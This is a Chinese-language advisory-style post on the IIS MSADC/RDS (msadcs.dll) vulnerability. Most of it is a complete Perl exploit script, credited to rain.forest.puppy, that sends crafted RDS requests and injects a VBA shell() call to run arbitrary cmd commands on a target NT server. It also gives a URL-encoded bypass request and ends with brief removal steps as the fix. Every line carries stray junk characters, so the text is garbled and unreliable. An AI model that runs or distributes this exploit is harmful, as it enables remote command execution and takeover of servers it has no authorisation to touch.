IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
*=X$j~#X "/zI sn7 涉及程序：
?Hd/!I& Microsoft NT server
mw*BaDN@Q v iJK%^U=- 描述：
wA#w] 8SM 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
`IQ76Xl O*ql!9} E{ 详细：
XOe8(cXa9 如果你没有时间读详细内容的话，就删除:
0Lo)Ni^" c:\Program Files\Common Files\System\Msadc\msadcs.dll
;x =k J@ 有关的安全问题就没有了。
TvzqJ= ?<i inx 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
0;kp`hB $# /-+ > 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
|9F^"7Q~C 关于利用ODBC远程漏洞的描述，请参看:
w<ol$2&B )lo ;y~ o http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm d/k70Ybk dt -=7mz# 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
J A K+v http://www.microsoft.com/security/bulletins/MS99-025faq.asp f2JeXsOI & ZRriqsQg 这里不再论述。
EC4RA'Bg1k .q cIl)3 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
/Y>$w$S 2)A% 'Akf /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
&z@~n 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
VR @V3 ~ <&+\X6w[ , p,$(V #将下面这段保存为txt文件，然后: "perl -x 文件名"
J\BTrN 7 _^ 2 rRz #!perl
hw@ `Q@ #
e7( iMe # MSADC/RDS 'usage' (aka exploit) script
FSs<A@ #
D[7+xAwS # by rain.forest.puppy
TA .ugF)h #
.^fV m # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
MrW#~S|ED # beta test and find errors!
d%y)/5 =q%Q ^ use Socket; use Getopt::Std;
r{V=)h getopts("e:vd:h:XR", \%args);
%V +hm5Q 0. 9%m 7.m print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
f8T6(cA VuOZZ7y if (!defined $args{h} && !defined $args{R}) {
CBqeO@M print qq~
^ *{:;F@ Usage: msadc.pl -h <host> { -d <delay> -X -v }
1gA9h-'w -h <host> = host you want to scan (ip or domain)
't+
J7 -d <seconds> = delay between calls, default 1 second
g/o@,_ -X = dump Index Server path table, if available
`FjU2
O -v = verbose
UC!?. -e = external dictionary file for step 5
< ] ~FX 25 GI~JIXHTQ Or a -R will resume a command session
5@Y rtZI h& t/
L ~; exit;}
+ld]P} yBJf'-K $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
< )dq v0= if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
J-6l<%962% if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
3N(5V ;ti if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
X7cqAi $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
<}G*/ z?/ if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
3KyIBrdi? +:a#+]g if (!defined $args{R}){ $ret = &has_msadc;
1%v! 8$ die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
PJ-EQ6W jf`QoK print "Please type the NT commandline you want to run (cmd /c assumed):\n"
)(? ,1>k`Z . "cmd /c ";
+ [JvpDv% $in=<STDIN>; chomp $in;
^/0c`JG!x $command="cmd /c " . $in ;
@B@`V F "Cj {Z@n if (defined $args{R}) {&load; exit;}
MY 8[)<q" <6
HrHw_ print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
; i)NP X &try_btcustmr;
'F\@KE -d b9 F:X print "\nStep 2: Trying to make our own DSN...";
m a!rZ n &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
r%c raf I`$"6 Xy print "\nStep 3: Trying known DSNs...";
g[D(]t\# x &known_dsn;
Y<4%4>a E%[2NsOM] print "\nStep 4: Trying known .mdbs...";
X ]Aobtz &known_mdb;
G`/5= kB2]Z} if (defined $args{e}){
V<:)bG4;d print "\nStep 5: Trying dictionary of DSN names...";
F9Hxqa#1T &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
f,jN " \jkMnS6FvL print "Sorry Charley...maybe next time?\n";
V0rS^SAF exit;
{
]*#WU nY>UYSv ##############################################################################
,P%a0\ {Wi)/B} sub sendraw { # ripped and modded from whisker
,2|(UTv sleep($delay); # it's a DoS on the server! At least on mine...
Oc
Gg'R7 my ($pstr)=@_;
yDuMn< =3 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
XF6ed die("Socket problems\n");
X,] E { if(connect(S,pack "SnA4x8",2,80,$target)){
LU-,B?1 select(S); $|=1;
YB `;<+sY print $pstr; my @in=<S>;
'`)r<lYN, select(STDOUT); close(S);
F*}. 0SQ return @in;
.T>^bLuFy } else { die("Can't connect...\n"); }}
X6T*?t3!9[ \>DMN # ##############################################################################
R{3?`x!fY m]7oTmS sub make_header { # make the HTTP request
#FZoi:'Q my $msadc=<<EOT
4x2
;@Pd POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
!08\w@ User-Agent: ACTIVEDATA
>FR;Ux~a Host: $ip
A-&'/IHR"B Content-Length: $clen
r1jsw j%7 Connection: Keep-Alive
^$!H| P^)J^{r ADCClientVersion:01.06
Z\\'0yuY( Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
+Fk]hCL {o."T/?d' --!ADM!ROX!YOUR!WORLD!
iI]E%H} Content-Type: application/x-varg
I+!?~]AUuq Content-Length: $reqlen
5x2m ]u N!{wa PbPi EOT
;8~tt I ; $msadc=~s/\n/\r\n/g;
< Z>p1S return $msadc;}
^$D2fS Fk-}2_=v i ##############################################################################
r(VGdG Ft[)m#Dj` sub make_req { # make the RDS request
sTb@nrRxH my ($switch, $p1, $p2)=@_;
38gHM9T
xh my $req=""; my $t1, $t2, $query, $dsn;
$`wo8A|) b 9%G"?~Zz if ($switch==1){ # this is the btcustmr.mdb query
X!AD]sK $query="Select * from Customers where City=" . make_shell();
vNA~EV02 $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
=SUCcdy& $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
a(s% 3"*Q U WU PY elsif ($switch==2){ # this is general make table query
3G.-JLhs $query="create table AZZ (B int, C varchar(10))";
s|O4 >LsG $dsn="$p1";}
f]*TIYicc eyIbjgpV elsif ($switch==3){ # this is general exploit table query
KE_GC ;bQ $query="select * from AZZ where C=" . make_shell();
-Wt (t2 $dsn="$p1";}
dfa^5`_ sN8)p%'Lg elsif ($switch==4){ # attempt to hork file info from index server
vJ a? 5Jr $query="select path from scope()";
*#| lhf' $dsn="Provider=MSIDXS;";}
[b?[LK}. ?r%kif) elsif ($switch==5){ # bad query
r Ihe} 1 $query="select";
H6vO}pq) r $dsn="$p1";}
R #\o *Ta k ^:+ Pp $t1= make_unicode($query);
mC,: .d $t2= make_unicode($dsn);
&$ x1^ $req = "\x02\x00\x03\x00";
?j:g. a+U $req.= "\x08\x00" . pack ("S1", length($t1));
+vSp+X1E $req.= "\x00\x00" . $t1 ;
\G~<O071 $req.= "\x08\x00" . pack ("S1", length($t2));
s6YnNJ,SK $req.= "\x00\x00" . $t2 ;
)/Mk\``j $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
X%lk] &2 return $req;}
H C$rC"f -Z<V? SFOK ##############################################################################
AB0>|. H7}@56 sub make_shell { # this makes the shell() statement
.zQ'}H1.C return "'|shell(\"$command\")|'";}
'k1vV px~ :' U ##############################################################################
.}4^b\ 4r- CF#o sub make_unicode { # quick little function to convert to unicode
.1@8rVp7 my ($in)=@_; my $out;
Q \qI+F2 ? for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
{*NM~yQ return $out;}
Z< 4Du +W} dO# ##############################################################################
Lt?k$U{qe) $psPNJG sub rdo_success { # checks for RDO return success (this is kludge)
[a2Q ^a b my (@in) = @_; my $base=content_start(@in);
=kiDW6
JJU if($in[$base]=~/multipart\/mixed/){
7FYq6wi return 1 if( $in[$base+10]=~/^\x09\x00/ );}
}[O/u <Z return 0;}
c) q'" r ' #ow 9w+^ ##############################################################################
y/\0qQ/ P6 ~& ,a sub make_dsn { # this makes a DSN for us
4^u wZ: my @drives=("c","d","e","f");
)"sJaHx< print "\nMaking DSN: ";
G>?'b foreach $drive (@drives) {
zAA3bgaa print "$drive: ";
i[r>^U8O my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
Pgh)+>ON "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
kWm[Lt . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
'1NZSiv+C? $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
~ ]S%b3> return 0 if $2 eq "404"; # not found/doesn't exist
dZ;r n!dg> if($2 eq "200") {
s^lm
81; foreach $line (@results) {
^a # return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
U_oei3QP } return 0;}
CeD(!1V G k>W}9^ cK ##############################################################################
& Do|Hw \1[v-hvK sub verify_exists {
!`S61~gE my ($page)=@_;
AY)R2>
fW% my @results=sendraw("GET $page HTTP/1.0\n\n");
71wtO return $results[0];}
;]I~AGH: u7 G9 eN ##############################################################################
f)9{D[InM^ JM> 4m)h# sub try_btcustmr {
>Dk Rl my @drives=("c","d","e","f");
U!D\Vd my @dirs=("winnt","winnt35","winnt351","win","windows");
.J fV4!=o (|t)MnPfY foreach $dir (@dirs) {
f
J$>VN print "$dir -> "; # fun status so you can see progress
=+>^:3cCQ foreach $drive (@drives) {
3 Jj 3!aDB print "$drive: "; # ditto
^oH!FN`;{ $reqlen=length( make_req(1,$drive,$dir) ) - 28;
F b ^f`UI $reqlenlen=length( "$reqlen" );
y h{Wuz=T $clen= 206 + $reqlenlen + $reqlen;
3 +tr_psH LP:U6 Z my @results=sendraw(make_header() . make_req(1,$drive,$dir));
Ew$-,KC[ if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
O tD!@GQ6 else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
F0 ^kUyF| cjy b:gAO ##############################################################################
$?Z-BD 1 ,Jq k0cW2 sub odbc_error {
VU ,tCTXz my (@in)=@_; my $base;
("T8 mt[w> my $base = content_start(@in);
gVU&Yl~/^ if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
:!WKD@] $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
iD`> Bt7gD $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
,.-85isco $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
^h~oxZJ w return $in[$base+4].$in[$base+5].$in[$base+6];}
}$D{YHF print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
P d)<Iw^< print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
-$@4e|e%a $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
F ?.J 1] g6l&;S40 ##############################################################################
OaCp3No eW.[M ?, sub verbose {
{q^?Rw my ($in)=@_;
w W1>#F return if !$verbose;
!dZpV~g 0 print STDOUT "\n$in\n";}
<h[l)-86 u(b Pdf@kz ##############################################################################
r>.^4 Z@ Y&y5^nG sub save {
8iKupaaOX my ($p1, $p2, $p3, $p4)=@_;
4M3{P open(OUT, ">rds.save") || print "Problem saving parameters...\n";
<F#/wU^9 print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
f3M~2jbv'p close OUT;}
d`ES e'j: n1 +,Pe*) ##############################################################################
bP3S{Jt-| M%@ =BT sub load {
]YqeI *BX my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
y
jQpdO open(IN,"<rds.save") || die("Couldn't open rds.save\n");
:^ *9E b @p=<IN>; close(IN);
&.` /ln $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
n=tg{_9f% $target= inet_aton($ip) || die("inet_aton problems");
EWn\ ]f| print "Resuming to $ip ...";
<h<4R Rj $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
B%^ $fJ|
if($p[1]==1) {
]xf|xs $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
,.PW
qfb $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
_?J:Z*z? my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
oMer+=vH if (rdo_success(@results)){print "Success!\n";}
}Pf7YuUZZ else { print "failed\n"; verbose(odbc_error(@results));}}
#M5[TN! elsif ($p[1]==3){
Tt*n.HA if(run_query("$p[3]")){
o:C],G_ print "Success!\n";} else { print "failed\n"; }}
DX)T}V&mP elsif ($p[1]==4){
mIUpAOC`"Z if(run_query($drvst . "$p[3]")){
&] e uL:C print "Success!\n"; } else { print "failed\n"; }}
Lf} @v exit;}
-4!i(^w[m/ ?Rg8u ##############################################################################
B}A7Usm f[$9k}. sub create_table {
dab[x@#r> my ($in)=@_;
;zZGV4Qc~ $reqlen=length( make_req(2,$in,"") ) - 28;
-f!oq7U $reqlenlen=length( "$reqlen" );
+ziQ]r2g $clen= 206 + $reqlenlen + $reqlen;
Tx!c } my @results=sendraw(make_header() . make_req(2,$in,""));
i[x;k;m2 q return 1 if rdo_success(@results);
Ne 9R
u'B6 my $temp= odbc_error(@results); verbose($temp);
'.&z y# return 1 if $temp=~/Table 'AZZ' already exists/;
AroXf# . return 0;}
xs ^$fn\ <+2M,fq+ ##############################################################################
"Ca?liy _m8JU sub known_dsn {
5 qW*/ # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
ob 3Z
I my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
l|onH;g\ "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
A! j4;=} "banner", "banners", "ads", "ADCDemo", "ADCTest");
<u9U%V si %}%vey foreach $dSn (@dsns) {
I];Hx'/<~ print ".";
-A A='s next if (!is_access("DSN=$dSn"));
Axtf,x+lH if(create_table("DSN=$dSn")){
,0=@cJ print "$dSn successful\n";
3" OD " if(run_query("DSN=$dSn")){
B U^3U x$ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
bWAVBF print "Something's borked. Use verbose next time\n";}}} print "\n";}
u teI[Q wt@q+9: ##############################################################################
{} TR'Y4 I!;&#LT+b sub is_access {
hiN6]jL|O my ($in)=@_;
RO1xcCp $reqlen=length( make_req(5,$in,"") ) - 28;
9G'Q3?
z $reqlenlen=length( "$reqlen" );
5$ra4+k0 $clen= 206 + $reqlenlen + $reqlen;
e2 ?7>? my @results=sendraw(make_header() . make_req(5,$in,""));
!SFF 79$c my $temp= odbc_error(@results);
<Hq|<^_K verbose($temp); return 1 if ($temp=~/Microsoft Access/);
X(;,- 7Jw return 0;}
8>sToNRNe BEv>?T
0
##############################################################################
8yDu(. Q !Xbr7:UPN1 sub run_query {
%TA3 o71 my ($in)=@_;
fEl,jA $reqlen=length( make_req(3,$in,"") ) - 28;
4Fr\=TX $reqlenlen=length( "$reqlen" );
fem>WPvG $clen= 206 + $reqlenlen + $reqlen;
`Al5( 0Q my @results=sendraw(make_header() . make_req(3,$in,""));
?`oCc [hY return 1 if rdo_success(@results);
JRC+>'}Xj my $temp= odbc_error(@results); verbose($temp);
}"'^.FG^_ return 0;}
u K`T1*_ p6yC1\U!o ##############################################################################
|W/_S^ C Rj|8l K;, sub known_mdb {
4ZK8Y[]Lv my @drives=("c","d","e","f","g");
wM;9plYlw0 my @dirs=("winnt","winnt35","winnt351","win","windows");
xM/B"SG2 my $dir, $drive, $mdb;
i 7fQj,
q my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
[V5ebj:6w Bk~lE]Q3c7 # this is sparse, because I don't know of many
,\|W,N }~ my @sysmdbs=( "\\catroot\\icatalog.mdb",
&a>fZ^Y=k "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
T{iv4`' "\\system32\\certmdb.mdb",
<[H1S@{W "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
f3+@u2Pv
IR+dGqIjZb my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
>!OD[9 "\\cfusion\\cfapps\\forums\\forums_.mdb",
y6lle<SIu "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
WJ9 = hr "\\cfusion\\cfapps\\security\\realm_.mdb",
8- ?.Q"D7% "\\cfusion\\cfapps\\security\\data\\realm.mdb",
Xw=>L#Q "\\cfusion\\database\\cfexamples.mdb",
DFz,>DM; "\\cfusion\\database\\cfsnippets.mdb",
ov= [g l "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
Fvy__ qcHi "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
8gv \` "\\cfusion\\brighttiger\\database\\cleam.mdb",
aIv>X@U} "\\cfusion\\database\\smpolicy.mdb",
T'cahkSw'O "\\cfusion\\database\cypress.mdb",
T
#&9| "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
L44/eyrp
"\\website\\cgi-win\\dbsample.mdb",
3+<}Hm+ "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
!po8[fz~x "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
?Mg&e/^ ); #these are just
() Z! u%j foreach $drive (@drives) {
`5:Wv b>| foreach $dir (@dirs){
/3! KfG foreach $mdb (@sysmdbs) {
$T\z print ".";
c]>s(/}T if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
:t6 w+h
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
d7y`AS@q6 if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
Zu\(XN?62 print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
X=Q)R 1~6v } else { print "Something's borked. Use verbose next time\n"; }}}}}
]w/`02w"$ M ]dS>W%U foreach $drive (@drives) {
V f JYYR foreach $mdb (@mdbs) {
vs/.'yD/C print ".";
vr|9NP]v if(create_table($drv . $drive . $dir . $mdb)){
+-=w` print "\n" . $drive . $dir . $mdb . " successful\n";
+zQ
a"Ep* if(run_query($drv . $drive . $dir . $mdb)){
X ?/C9 print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
h&+dIk\[3 } else { print "Something's borked. Use verbose next time\n"; }}}}
Ji_3*( }
3[E3]]OVa bu[v[U4 ##############################################################################
kzG m D i + RX{ sub hork_idx {
TK pka]nJ print "\nAttempting to dump Index Server tables...\n";
')w:`8Tl print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
>;eWgQ6V $reqlen=length( make_req(4,"","") ) - 28;
\ %Er%yv) $reqlenlen=length( "$reqlen" );
{(@M0? $clen= 206 + $reqlenlen + $reqlen;
X !g"D6' my @results=sendraw2(make_header() . make_req(4,"",""));
1D 03Nbh|5 if (rdo_success(@results)){
\`\& G-\ my $max=@results; my $c; my %d;
+_tK \MN for($c=19; $c<$max; $c++){
$R3]y9`? $results[$c]=~s/\x00//g;
P%A^TD| $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
IWvLt $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
nc# }-}`5 $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
s
l|n]#) $d{"$1$2"}="";}
Amf
gc>eJ foreach $c (keys %d){ print "$c\n"; }
t@[&8j2B> } else {print "Index server doesn't seem to be installed.\n"; }}
D.zEE-cGyb Vv4 w?K ##############################################################################
k/A8 | 4k5X'&Q sub dsn_dict {
_jOu`1w open(IN, "<$args{e}") || die("Can't open external dictionary\n");
Y<0;;tVf4U while(<IN>){
$<.\,wW*'w $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
bI
3o| next if (!is_access("DSN=$dSn"));
5t`< KRz)I if(create_table("DSN=$dSn")){
;Bk?,g print "$dSn successful\n";
x2 *l5t if(run_query("DSN=$dSn")){
I@a y&NNh print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
.5*h']iFr1 print "Something's borked. Use verbose next time\n";}}}
= *7K_M& print "\n"; close(IN);}
{< {
O! iB;EV8E ##############################################################################
ES[H^}|Gi K,{P
b? sub sendraw2 { # ripped and modded from whisker
'M>QA"*48E sleep($delay); # it's a DoS on the server! At least on mine...
LeDty_ my ($pstr)=@_;
ezn%*X
y, socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
MaDdiyeC die("Socket problems\n");
68
% =
V>V if(connect(S,pack "SnA4x8",2,80,$target)){
8"L#5MO t print "Connected. Getting data";
4}@J]_]Z open(OUT,">raw.out"); my @in;
w Q
/IT}- select(S); $|=1; print $pstr;
'thWo wE while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
n4; close(OUT); select(STDOUT); close(S); return @in;
v#1}(
hb } else { die("Can't connect...\n"); }}
h+)XL s TbqH-R3W ##############################################################################
^'j? { @ ]n9o=^q/ sub content_start { # this will take in the server headers
A)9OkLrc my (@in)=@_; my $c;
o! W
71 for ($c=1;$c<500;$c++) {
e&WlJ if($in[$c] =~/^\x0d\x0a/){
]v&)mK]n=o if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
\ vj<9ke& else { return $c+1; }}}
#zflU9 9d return -1;} # it should never get here actually
F !DDlYUz. LT7C>b ##############################################################################
-FRMal4Pg0 |[apLQ6 sub funky {
h"Qp e'D} my (@in)=@_; my $error=odbc_error(@in);
&[u%ZL if($error=~/ADO could not find the specified provider/){
U$+EUDFi3_ print "\nServer returned an ADO miscofiguration message\nAborting.\n";
~d] X@(G& exit;}
b&[bfM< if($error=~/A Handler is required/){
dU`kJ,=Z print "\nServer has custom handler filters (they most likely are patched)\n";
`}t<5_ exit;}
qxKW% {6o if($error=~/specified Handler has denied Access/){
{j$ :9 H print "\nServer has custom handler filters (they most likely are patched)\n";
2P3,\L exit;}}
[B<htD& 0c6b_%Rd ##############################################################################
8S*3W3HY ctI =|K sub has_msadc {
\*x'7c/qg my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
rCt8Q&mzf my $base=content_start(@results);
Z fM DyS$. return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
{m%]`0 return 0;}
f793yCiG zh8\
_> + ########################
+9LIpU&5 HK_Vk\ e ^n Gj 7b 解决方案：
Hw"Lo Vh 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
r<< ]41 2、移除web 目录: /msadc
